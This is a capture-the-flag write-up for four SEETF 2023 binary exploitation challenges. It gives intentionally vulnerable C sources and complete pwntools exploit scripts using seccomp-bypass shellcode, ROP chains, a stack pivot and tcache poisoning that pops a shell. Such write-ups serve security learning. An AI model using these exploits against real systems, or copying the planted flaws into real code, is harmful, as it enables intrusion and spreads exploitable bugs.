# SEETF 2023 ## Shellcode as a service: ```c // gcc chall.c -o chall -lseccomp #define _GNU_SOURCE 1 #include <sys/mman.h> #include <string.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> #include <unistd.h> #include <stdio.h> #include <seccomp.h> void *shellcode_mem; size_t shellcode_size; int main(int argc, char **argv, char **envp) { shellcode_mem = mmap((void *) 0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0); assert(shellcode_mem == (void *) 0x1337000); puts("Welcome to the SEETF shellcode sandbox!"); puts("======================================"); puts("Allowed syscalls: open, read"); puts("You've got 6 bytes, make them count!"); puts("======================================"); fflush(stdout); shellcode_size = read(0, shellcode_mem, 0x6); assert(shellcode_size > 0); scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_KILL); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) == 0); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0); assert(seccomp_load(ctx) == 0); ((void(*)())shellcode_mem)(); } ``` Inject shellcode with only open and read syscall allowed. At first, open the `/flag` and read the content of `/flag`, then each turn try to guess what is the exact printable character in the buffer containing the content of `/flag`. If it is `}`, break the loop then print the flag to `stdout` ```py from pwn import * context.arch = 'amd64' flag = "" for i in range(100): r = remote("win.the.seetf.sg", 2002) r.recv() shellcode1 = asm(""" xor rdi,rdi push rdx pop rsi syscall """) r.send(shellcode1) sleep(0.1) shellcode2 = b'/flag\0' + asm(f""" nop;nop;nop;nop;nop;nop; mov rax, 2 mov rdi, 0x1337000 xor rsi, rsi syscall mov rdi, rax mov rsi, 0x1337d00 mov rdx, 0x200 xor rax, rax syscall mov r8, rsi mov rsi, 0x1337f00 xor rdx, rdx xor rbx, rbx mov bl, byte ptr [r8+{i}] sub bl, 0x20 check: mov rdx,3 xor rax,rax xor rdi,rdi mov rsi,0x1337700 syscall dec rbx cmp rbx, 0 jne check """) r.sendline(shellcode2) count = 0 sleep(0.1) for i in range(236): r.sendline(b"1") try: s = r.recv(timeout=0.1) except: break log.info(f"{i}") count += 1 flag += chr(count + 1 + 32) if flag[-1] == '}': print(flag) break r.close() log.success(f'FLAG: {flag}') r.interactive() ``` ## Mmap note: ```c __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 v3; // rax char buf[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); sub_4014B2(a1, a2, a3); puts("Welcome to the SEETF note sandbox!"); puts("======================================"); puts("======================================"); while ( dword_404090 ) { sub_4017E5(); read(0, buf, 0x640uLL); v3 = atol(buf); if ( v3 == 4 ) { dword_404090 = 0; } else if ( v3 <= 4 ) { switch ( v3 ) { case 3LL: sub_401717(); break; case 1LL: sub_4014FD(); break; case 2LL: sub_4015D0(); break; } } } sub_4012B6(); puts("Bye!"); return 0LL; } ``` ```c read(0, buf, 0x640uLL); ``` `Buffer overflow` in this line. Build ROP chain with only open, mmap, write. **Final script** ```py from pwn import * e = context.binary = ELF("./chall") #r = e.process() r = remote("win.the.seetf.sg", 2000) libc = ELF("./libc.so.6") gs = """ b*0x40148f b*0x00000000004017C5 """ #gdb.attach(r, gs) #pause() def choice(c: int): r.sendlineafter(b'> ', str(c).encode()) def c(): choice(1) def w(idx: int, size: int, data: bytes): choice(2) r.sendlineafter(b'idx = ', str(idx).encode()) r.sendlineafter(b'size to write = ', str(size).encode()) if size > 0: r.send(data) def re(idx: int): choice(3) r.sendlineafter(b'idx = ', str(idx).encode()) c() r.recvuntil(b'0x') note = int(r.recvline()[:-1], 16) for i in range(49): c() w(0, 100, b'/flag') for i in range(29): w(1 + i, -2**32 + 0x1770, b'A') re(3) sleep(1) libc.address = u64(r.recvuntil(b'\x7f')[-6:] + b'\0' * 2) - 0x21a580 log.info(f'Libc address: {hex(libc.address)}') canary = u64(r.recvuntil(b'1. create note')[-22:-14]) log.info(f'Canary: {hex(canary)}') bss = 0x404000 mov_r12_rax = 0x000000000008a280 + libc.address # mov r12, rax ; mov rax, r12 ; pop r12 ; ret pop_rbp = 0x000000000040129d leave = 0x0000000000401485 syscall = 0x00000000004014a8 add_gadget = 0x00000000004018de mov_rsi_r8 = 0x00000000001256db + libc.address # mov rsi, r8 ; mov rdi, rbp ; call r12 xchg_rax_r8 = 0x0000000000099a0e + libc.address# xchg rax, r8 ; add rsp, 0x18 ; ret pop_rdi = 0x000000000040148f pop_rsi = 0x0000000000401493 pop_rdx = 0x0000000000401495 pop_rax = 0x0000000000401491 bss = 0x404000 pop_rbx = 0x00000000004014a4 pop_rcx = 0x000000000040149e pop_r10 = 0x0000000000401497 pop_r8 = 0x000000000040149a pop_r9 = 0x000000000040149d mov_r12_rax = 0x000000000008a280 + libc.address #mov r12, rax ; mov rax, r12 ; pop r12 ; ret pop_rbp = 0x000000000040129d leave = 0x0000000000401485 syscall = 0x00000000004014a8 add_gadget = 0x00000000004018de mov_rsi_r8 = 0x00000000001256db + libc.address # mov rsi, r8 ; mov rdi, rbp ; call r12 xchg_rax_r8 = 0x0000000000099a0e + libc.address# xchg rax, r8 ; add rsp, 0x18 ; ret payload = b'4' + b'\0' * 23 payload += p64(canary) payload += p64(0) payload += p64(pop_rdi) payload += p64(note) payload += p64(pop_rsi) payload += p64(0) payload += p64(libc.sym['open']) # open("./flag.txt, O_RDONLY") payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi) payload += p64(0x1000) payload += p64(pop_rdx) payload += p64(1) payload += p64(pop_r10) payload += p64(0x2) payload += p64(pop_r8) payload += p64(3) payload += p64(pop_r9) payload += p64(0) payload += p64(pop_rax) payload += p64(9) payload += p64(syscall) # addr = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0) payload += p64(xchg_rax_r8) payload += p64(0) * 3 payload += p64(pop_rbp) payload += p64(1) payload += p64(pop_rdx) payload += p64(0x100) payload += p64(pop_rax) payload += p64(0) payload += p64(mov_r12_rax) payload += p64(libc.sym['write']) # write(1, addr, 0x100) payload += p64(mov_rsi_r8) r.sendline(payload) r.interactive() ``` ## Great Expectations: ```c // gcc -no-pie -fno-stack-protector chall.c -o chall #include <stdio.h> #include <unistd.h> #include <stdlib.h> #define floatbuffer_len 3 #define string_len 0x107 int idx; void input_floats() { char canary = 'A'; char buffer[floatbuffer_len]; for (idx = 0; idx < floatbuffer_len; idx++) { puts("Give me a crazy number!"); scanf("%f", &buffer[idx]); } if (canary != 'A') { exit(0); } } int main() { char canary = 'A'; char buffer[string_len]; setbuf(stdout, 0); setbuf(stdin, 0); puts("I live my life taking chances. Let's see how much of a risk-taker you are! Tell me an adventurous tale."); read(0, buffer, string_len); input_floats(); if (canary != 'A') { exit(0); } return 0; } ``` ```c scanf("%f", &buffer[idx]); ``` `Buffer overflow` with 3 bytes, format float in a char array. Since `saved rbp` points to `rbp` of main, I decide to change rbp to point to my ROP chain. Due to `ASLR`, it needs 1/16 bruteforcing. Given 3 times to change, I just use only the second time to change `canary` variable to `A` and `rbp` to 0x28. It will pivot to my prepared payload. **Final Script** ```py from pwn import * e = context.binary = ELF("./chall") while 1: try: r = remote("win.the.seetf.sg", 2004) #r = e.process() libc = ELF("./libc.so.6") pop_rdi = 0x0000000000401313 pop_rsi_r15 = 0x0000000000401311 add_gadget = 0x000000000040119c csu = 0x0000000000401306 # add rsp, 8 since pop rbx is 0x40130a one_gadget = 0xe3b01 offset = (one_gadget - libc.sym['puts']) & 0xffffffffffffffff payload = p64(csu) payload += p64(offset)*2 # padding and rbx payload += p64(e.got['puts'] + 0x3d) payload += p64(0)*4 payload += p64(add_gadget) payload += p64(e.plt['puts']) payload = payload.rjust(192, b'A') r.sendlineafter(b'tale.\n', payload) r.recv() gs = """ b*input_floats+70 """ #gdb.attach(r, gs) def c(val): val = p32(val).hex() val = struct.unpack('f', bytes.fromhex(val))[0] return str(val).encode() #pause() r.sendline(b'1') r.recv() r.sendline(c(0x28410000)) r.recv() r.sendline(b'+') r.sendline(b'cat /flag') s = r.recv() if b'SEE' in s: try: print(s) r.interactive() except: r.close() continue raise Exception("Wrong") except: r.close() continue ``` ## Babysheep: ```c // gcc chall.c -o chall #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define NUM_TEXTS 10 #define NUM_HEADERFOOTER_BYTES 24 // 16 header + 8 footer #define MAX_BUFFER_SIZE 0x500 struct text { char header[16]; char buffer[]; // There are actually 8 more footer bytes here, but flexible array members must be the last member // char footer[8]; }; struct text *texts[NUM_TEXTS] = {NULL}; int buffer_sizes[NUM_TEXTS] = {0}; void backdoor(const char *arg) { // for debugging purposes system(arg); } void cleanup() { // prevent memory leaks int idx; for (idx = 0; idx < NUM_TEXTS; idx++) { struct text *ptr = texts[idx]; if (ptr != NULL) { free(ptr); texts[idx] = NULL; } } } void create() { int idx; // find first empty text for (idx = 0; idx < NUM_TEXTS; idx++) { if (texts[idx] == NULL && buffer_sizes[idx] == 0) { break; } } if (idx == (NUM_TEXTS - 1)) { puts("Not enough space."); return; } puts("What size?"); unsigned int buffer_size; scanf("%i", &buffer_size); if (buffer_size > MAX_BUFFER_SIZE) { puts("Size too large."); exit(EXIT_FAILURE); } struct text *ptr = malloc(buffer_size + NUM_HEADERFOOTER_BYTES); // account for header + footer data if (ptr == NULL) { puts("malloc error"); exit(EXIT_FAILURE); } texts[idx] = ptr; buffer_sizes[idx] = buffer_size; puts("What content?"); read(0, ptr->buffer, buffer_size); memcpy(ptr->header, "=======\nmessage:", 16); long *footer = (long *)&ptr->buffer[buffer_size]; memcpy(footer, "=======\n", 8); } void output() { int idx; puts("Which text? (0-9)"); scanf("%d", &idx); unsigned int buffer_size; struct text *ptr; if (idx >= 0 && idx < NUM_TEXTS) { buffer_size = buffer_sizes[idx]; ptr = texts[idx]; } if (ptr == NULL) { puts("Create text first."); return; } write(1, ptr, buffer_size + NUM_HEADERFOOTER_BYTES); } void update() { int idx; puts("Which text? (0-9)"); scanf("%d", &idx); unsigned int buffer_size; struct text *ptr; if (idx >= 0 && idx < NUM_TEXTS) { buffer_size = buffer_sizes[idx]; ptr = texts[idx]; } if (ptr == NULL) { puts("Create text first."); return; } read(0, &(ptr->buffer), buffer_size); } void delete() { int idx; puts("Which text? (0-9)"); scanf("%d", &idx); if (idx >= 0 && idx <= 9) { unsigned int buffer_size = buffer_sizes[idx]; buffer_sizes[idx] = 0; if (buffer_size != 0) { buffer_sizes[idx] = 0; } struct text *ptr = texts[idx]; if (ptr != NULL) { free(ptr); texts[idx] = NULL; atexit(cleanup); // free ALL pointers on exit } } } int main() { setbuf(stdout, 0); setbuf(stdin, 0); const char menu[] = "1. [C]reate\n2. [O]utput\n3. [U]pdate\n4. [D]elete\n5. [E]xit\n"; char choice; while (choice != 'E') { write(1, menu, sizeof(menu)); scanf(" %c", &choice); switch (choice) { case 'C': create(); break; case 'O': output(); break; case 'U': update(); break; case 'D': delete (); break; } } exit(0); } ``` In the `update` and `write` section, if `idx` is out of range, it still gets our previous index entered to `read` and `write` respectively. Output a chunk outside tcache range then free it, choose to output again to leak libc. Use the same technique to leak heap, tcache poisoning to leak stack and change fd to return address, hence we will ROP till it pops a shell. **Final script** ```py from pwn import * e = context.binary = ELF("./chall") r = e.process() #r = remote("win.the.seetf.sg", 2001) libc = ELF("./libc.so.6") def choice(c: bytes): r.recv() r.sendline(c) def c(size: int, content: bytes): choice(b'C') r.sendlineafter(b'What size?\n', str(size).encode()) r.sendafter(b'What content?\n', content) def o(idx: int): choice(b'O') r.sendlineafter(b'Which text? (0-9)\n', str(idx).encode()) def u(idx: int, content: bytes): choice(b'U') r.sendlineafter(b'Which text? (0-9)\n', str(idx).encode()) r.send(content) def d(idx: int): choice(b'D') r.sendlineafter(b'Which text? (0-9)\n', str(idx).encode()) gs = """ b*update+184 b*create+352 b*output+182 """ gdb.attach(r, gs) pause() for i in range(4): c(128 + 0x10 * i, b'A'*0x78) def enc(a: int, b: int): return p64(a ^ (b>>12)) c(1024, b'A' * 0x400) c(128, b'A' * 0x80) c(128, b'A' * 0x80) u(4, b'A' * 0x10) o(4) d(4) o(10) libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - 0x219ce0 log.info(f'Libc address: {hex(libc.address)}') one_gadget = libc.address + 0x10dbd9 o(1) d(1) o(10) heap = u64(r.recv(5) + b'\0' * 3) << 12 log.info(f'Heap base: {hex(heap)}') c(0x90, b'A' * 0x90) c(0x400, b'A' * 0x40) c(128, b'A' * 24) c(128, b'A') u(4, b'A') d(7) d(6) d(4) d(3) c(0xc0, b'A' * 24) payload = p64(libc.sym['main_arena'] + 96) * 2 payload += b'\0' * 0x320 payload += p64(0x340) + p64(0xa0) payload += b'\0' * 0x98 + p64(0xa1) payload += enc(libc.sym['environ'] - 0x20, heap + 0xa40) u(10, payload) c(128, b'A' * 24) c(128, b'A') o(6) stack = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) saved_rbp = stack - 0x198 - 0x10 log.info(f'Stack: {hex(stack)}') d(5) d(4) d(0) d(1) d(2) d(3) for i in range(4): c(0xe0, b'A') c(0x448, b'A') c(0xe0, b'A') c(0xe0, b'A') u(4, b'A' * 0x28) d(7) d(5) d(4) c(0x40, b'A') payload = p64(libc.sym['main_arena'] + 96) * 2 payload += b'\0' * 0x3f0 payload += p64(0x410) + p64(0x100) payload += enc(saved_rbp - 0x220 + 0xa0 + 0x40, heap + 0x1190) u(10, payload) c(0xe0, b'A') pop_rdi = libc.address + 0x000000000002a3e5 ret = pop_rdi + 1 c(0xe0, b'a') o(7) r.recv(8) canary = u64(r.recv(8)) log.info(f'Canary: {hex(canary)}') r.recv(24) e.address = u64(r.recv(8)) - e.sym['main'] log.info(f'PIE: {hex(e.address)}') for i in range(6): d(i) c(0x410 - 0x18 - 8, b'A') for i in range(3): c(0x100, b'A') c(0x448, b'A') c(0x100, b'A') u(4, b'A' * 0x18) d(3) d(5) d(4) c(0xf0, b'A') payload = p64(libc.sym['main_arena'] + 96) * 2 payload += b'\0' * 0x340 payload += p64(0x360) + p64(0x120) payload += enc(saved_rbp - 0x50, heap + 0x1b60) u(10, payload) c(0x100, b'A') payload = p64(0)*5 payload += p64(pop_rdi) payload += p64(next(libc.search(b'/bin/sh\0'))) payload += p64(ret) payload += p64(libc.sym['system']) c(0x100, payload) r.sendline(b'cat /flag') r.interactive() ```